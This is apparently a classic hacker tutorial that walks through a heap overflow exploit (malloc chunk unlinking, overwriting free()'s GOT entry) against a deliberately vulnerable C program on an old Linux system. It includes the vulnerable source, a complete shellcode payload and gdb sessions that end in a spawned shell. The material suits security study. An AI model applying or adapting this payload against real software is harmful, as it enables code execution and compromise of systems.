HEAP OVERFLOW TUTORIAL questions and comments: fuk@eurocompton.net INTRODUCTION This paper was written for users who want a practical demonstration of a heap overflow being exploited. Please practice on linux, for it uses Doug Lea's malloc. I used RedHat 7.2. I THE VULNERABLE LOCAL BINARY I created this contrived example for this paper. If you do not see the problem, I cannot help you. /* a.c */ #include int main(int argc, char **argv) { char *buf1, *buf2, *buf3; if(argc == 1) { printf("\nThis program takes a string as an arguement.\n"); return(0); } buf1 = (char *) malloc(56); buf2 = (char *) malloc(56); buf3 = (char *) malloc(56); strcpy(buf2,"CCCCCCCCCCCCCCCC"); strcpy(buf1, argv[1]); printf("\n%s\n", buf1); free(buf2); free(buf1); strcpy(buf3, "END OF PROGRAM"); printf("\n%s\n", buf3); free(buf3); return(0); } Compile the file with -ggdb flag. Experiment with it and activate the bug. If you do not know what to expect I cannot help you. II DISCUSSION OF STRATEGIES Obviously we control the contents of buf1 and can potentially overflow buf2 and buf3's chunk information. Looking at it the first thing that comes to my mind is the off by five technique. This will not work though. In order to trick the first free() to think previous chunk is freed and to "go backwards to buf1" we would need to write a positive integer to buf2's previous size chunk data area. This would mean a null byte or three in our string, which we cannot do in a practical way. This means we would want to corrupt the first 8 bytes of buf2. This way we can create a virtual chunk directly after buf2's first 16 bytes, and while we are at it the shellcode will go right after with slight modifications. I should probably mention I plan to overwrite the GOT ptr - 12 for free(), and the return address will soon be obvious. I suppose a ascii diagram is in order. <56 bytes of crap> <8 bytes of crap> <12 bytes of crap> Now i am gettig drunk on July 3rd. Tommorrow off, sweet. Anyway, refill. Brb. I admit it looks ugly, but those null bytes... The easiest way to get the GOT pointer to overwrite is "objdump -R a | grep free". Remember to subtract 12 bytes from that number. As for the return address, if you cannot figure that out I cannot help you. Now I should show the usual gdb output I guess. Here is a session of mine. [fuk@ghettobox fuk]$ gcc -ggdb -o a a.c [fuk@ghettobox fuk]$ gdb a GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT) Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) break strcpy Breakpoint 1 at 0x80483e8 (gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /home/fuk/a aaaaaaaaaaaaa... Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34. Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' ) at ../sysdeps/generic/strcpy.c:34 34 ../sysdeps/generic/strcpy.c: No such file or directory. in ../sysdeps/generic/strcpy.c (gdb) cont Continuing. Breakpoint 1, strcpy (dest=0x8049820 "", src=0xbffffb86 'a' ) at ../sysdeps/generic/strcpy.c:34 34 in ../sysdeps/generic/strcpy.c (gdb) x/4x 0x8049858 0x8049858: 0x00000000 0x00000041 0x43434343 0x43434343 (gdb) break chunk_free Breakpoint 2 at 0x400a5916: file malloc.c, line 3166. (gdb) cont Continuing. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166 3166 malloc.c: No such file or directory. in malloc.c (gdb) x/4x 0x8049858 0x8049858: 0x61616161 0x00000000 0x43434343 0x43434343 (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x400a5b2d in chunk_free (ar_ptr=0x40157160, p=0xa6a336f7) at malloc.c:3225 3225 in malloc.c I wanted to show why the off by five technique wouldn't work for me. Do you see the last value for 'p' above? That is 0x8049858 - 0x61616161 = 0xa6a336f7 , so this means to me we have pretty good control of 'p'. This is a critical main idea. Now why wouldn't the off by five work? Becuase I cannot have null bytes in my one main string (argv[1]). The smallest positive integer I could place there without a null byte is 17895697 (0x01111111), and that goes too far "backwards". Also, the amount of A's is the smallest amount to cause a seg. Remember that buf2's previous size data area doesn't come into play until the chunk is freed or appears to be freed. Ok, so in summary, the above gdb output shows me overflowing into buf2 by one byte. That null byte overwrites 0x00000041. That null byte does one main thing. It makes the least significant bit of buf2's size chunk area 0. That means previous chunk behind buf2 is 'freed', but it really isn't. But since it appears the previous chunk is freed, one can control the free() and its one arguement, a pointer. The only problem is making it "go backwards", going "forwards" is ideal. That is exactly what we will do instead of the off by five technique and a virtual chunk behind buf2. III EXPLOITING THIS CONTRIVED EXAMPLE That ascii diagram basically shows the layout. But I will show how I got the correct information. Now since the strcpy src we control has to be 'used' up, I supplied 56 bytes of assorted garbage. I used, "thisismyexploitforthecontrivedexampleinmyheaptutorial!!!", which is 56 bytes long. This corresponds to the ascii diagram, <56 bytes of crap>. The next part in the ascii diagram is, , and we want this to be -16. The reason why for -16 is because we cant have a small positive integer and we want the pointer to free() to 'jump' ahead 16 bytes. I used 0xfffffff0 which is -16 in hex. Next, is buf2's size chunk area. This value has to have the least significant bit set to 0 and the 2nd least significant bit set to zero also to be on the safe side. I used 0xfffffffc which works out well. The next 8 bytes can be anything you want except null bytes. The next two groups of 4 bytes just need to be pointer safe. In the sense they do not contain null bytes and one can add to a pointer without causing a problem. [fuk@ghettobox fuk]$ objdump -R a | grep free 08049728 R_386_JUMP_SLOT free This is the GOT pointer for free(). This part of the ascii diagram. . The reason for subtracting 12 bytes is because that data isnt in our control. It is overwritten before the shell- code executes and that works around it. The is simply where your shellcode begins. To be exact, it is where that jump ahead 12 shellcode is, Pretty self-explanatory, <12 bytes of crap>. And this is also pretty straight-forward, . So, let me craft my string for argv[1]. <56 bytes of crap> thisismyexploitforthecontrivedexampleinmyheaptutorial!!! \xf0\xff\xff\xff \xfc\xff\xff\xff <8 bytes of crap> \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc \xfc\xff\xff\xff \xfc\xff\xff\xff \x1c\x97\x04\x08 \x78\x98\x04\x08 \xeb\x0c <12 bytes of crap> \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc \xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56 \x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b \xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh So let me do another gdb session, and finish up with a run on the command line. [fuk@ghettobox fuk]$ gdb a GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT) Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) break strcpy Breakpoint 1 at 0x80483e8 (gdb) run `perl -e ' print "thisismyexploitforthecontrivedexampleinmyheaptutor ial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xff \xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c\xfc\xfc\xfc \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2 \x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b \x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'` Starting program: /home/fuk/a `perl -e ' print "thisismyexploit... Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34. Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' ) 34 ../sysdeps/generic/strcpy.c: No such file or directory. in ../sysdeps/generic/strcpy.c (gdb) cont Continuing. Breakpoint 1, strcpy (dest=0x8049820 "", src=0xbffffb2a "thisismyexploitforthecontrivedexampleinmyheaptutorial!!! š˙˙˙ü˙˙˙üüüüüüüüü˙˙˙ü˙˙˙\034\227\004\bx\230\004\bė\f", 'ü' , "ė$^\215\036\211^\0133Ņ\211V\a\211V \017ø\eV4\0225\020V4\022\215N\013\213ŃĶ\2003Ą@Ķ\200č×˙˙˙ /bin/sh") at ../sysdeps/generic/strcpy.c:34 34 in ../sysdeps/generic/strcpy.c (gdb) break chunk_free Breakpoint 2 at 0x400a5916: file malloc.c, line 3166. (gdb) x/4x 0x8049858 0x8049858: 0x00000000 0x00000041 0x43434343 0x43434343 (gdb) cont Continuing. thisismyexploitforthecontrivedexampleinmyheaptutorial!!!š˙˙˙ü˙˙˙üüüüüüüüü˙˙˙ü˙˙˙xė üüüüüüüüüüüüė$^¨‰^ 3Ņ‰V‰Vø45V4¨N ‹ŃĶ€3Ą@Ķ€č×˙˙˙/bin/sh Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166 3166 malloc.c: No such file or directory. in malloc.c (gdb) x/4x 0x8049858 0x8049858: 0xfffffff0 0xfffffffc 0xfcfcfcfc 0xfcfcfcfc (gdb) x/4x 0x8049868 0x8049868: 0xfffffffc 0xfffffffc 0x0804971c 0x08049878 (gdb) x/4x 0x8049878 0x8049878: 0xfcfc0ceb 0xfcfcfcfc 0xfcfcfcfc 0x24ebfcfc (gdb) x/4x 0x8049888 0x8049888: 0x891e8d5e 0xd2330b5e 0x89075689 0x1bb80f56 (gdb) x/4x 0x8049898 0x8049898: 0x35123456 0x12345610 0x8b0b4e8d 0x3380cdd1 (gdb) x/4x 0x80498a8 0x80498a8: 0x80cd40c0 0xffffd7e8 0x69622fff 0x68732f6e (gdb) x/4x 0x80498b8 0x80498b8: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) cont Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x40001de0 in _start () at rtld.c:158 158 rtld.c: No such file or directory. in rtld.c (gdb) quit The program is running. Exit anyway? (y or n) y [fuk@ghettobox fuk]$ Well, that looks pretty good to me. I will now try running it on the command line. [fuk@ghettobox fuk]$ ./a `perl -e ' print "thisismyexploitforthecontrivedexample inmyheaptutorial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc \xfc\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e \x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12 \x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'` thisismyexploitforthecontrivedexampleinmyheaptutorial!!!š˙˙˙ü˙˙˙üüüüüüüüü˙˙˙ü˙˙˙xė üüüüüüüüüüüüė$^¨‰^ 3Ņ‰V‰Vø45V4¨N ‹ŃĶ€3Ą@Ķ€č×˙˙˙/bin/sh sh-2.05$ That is a wrap. Take it easy and keep practicing.